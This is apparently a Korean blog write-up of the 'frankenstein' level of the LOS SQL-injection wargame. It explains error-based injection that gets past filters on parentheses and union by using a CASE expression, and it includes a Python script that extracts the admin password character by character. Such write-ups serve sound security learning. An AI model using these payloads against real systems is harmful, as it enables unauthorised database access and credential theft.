LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
pw를 알아내야 풀리는 문제로 보인다.
현재 아이디가 frankenstein으로 설정되어 패스워드를 받고 있고,
union 구문과 괄호가 필터링으로 걸려있다.
하나의 힌트로는 db 에러가 발생하였을 때,
error라는 exit 하게 되는데 이것을 바탕으로
Error Based Sql Injection을 시도해보면 좋을 것 같다.
현재 필터링 된 괄호는 case 구문으로 우회하는 방법이 있다고 한다.
다음과 같이 case 구문을 활용하여
sql injection 페이로드를 구성해보도록 하자.
1) 에러를 유발하기 위해 괄호를 사용할 수 없으므로 큰 수를 삽입한다.
-> 9e307 이라는 숫자에 곱셈을 해주면 넘치는 수가 되어 에러를 발생한다.
-> 마찬가지로 ~0 + 1 이라는 연산도 unsigned 식이여서 에러를 발생한다.
2) 괄호를 사용할 수 없으므로 case 구문을 활용한다.
혼자 삽질을 많이해서 여러 블로그를 참고했고,
이해할 수 있는 페이로드를 다시 만들어서 수행해보았다.
해당 구문은 뒤 case 구문이 참이 되는데,
when 과 then은 if문과 같다고 보면 된다.
id가 admin 이고 pw가 a로 시작할 때
맞으면 에러를 발생시키고 그렇지 않으면 else로 가게된다.
a가 아니기 때문에 else로 가게 되었고,
다음처럼 앞글자가 0에 해당하기 때문에 error를
표시해주는 것을 확인할 수 있다.
이를 이용해서 스크립트를 구성해보도록 하자.
import requests
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_crack():
password = ''
loop = True
while loop:
for j in range(30, 80):
params = { "pw" : "' or case when id='admin' and pw like '{}{}%' then ~0 + 1 else 1 end #".format(password, chr(int(str(j), 16))) }
request = requests.get(url, params=params, cookies=cookies)
if "<br>error" in request.text:
password = password + chr(int(str(j), 16)).lower()
print("패스워드:", password)
break
if j == 79:
loop = False
break
pw_crack()
잘 짠 코드는 아니지만 한번 보겠다.
hex 값으로 문자를 반환하고, error 텍스트가 존재하면
패스워드를 반환하게 된다. while 문을 탈출시키기 위해서
hex가 끝에 도달하면 루프를 탈출하게 만들었다.
해당 문제에만 써먹을 수 있는 스크립트로 보면 된다..
아무튼 클리어 !
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] ouroboros (0) | 2023.01.05 |
---|---|
[LOS] phantom (0) | 2023.01.04 |
[LOS] blue_dragon (0) | 2023.01.02 |
[LOS] red_dragon (0) | 2023.01.02 |
[LOS] green_dragon (0) | 2022.12.29 |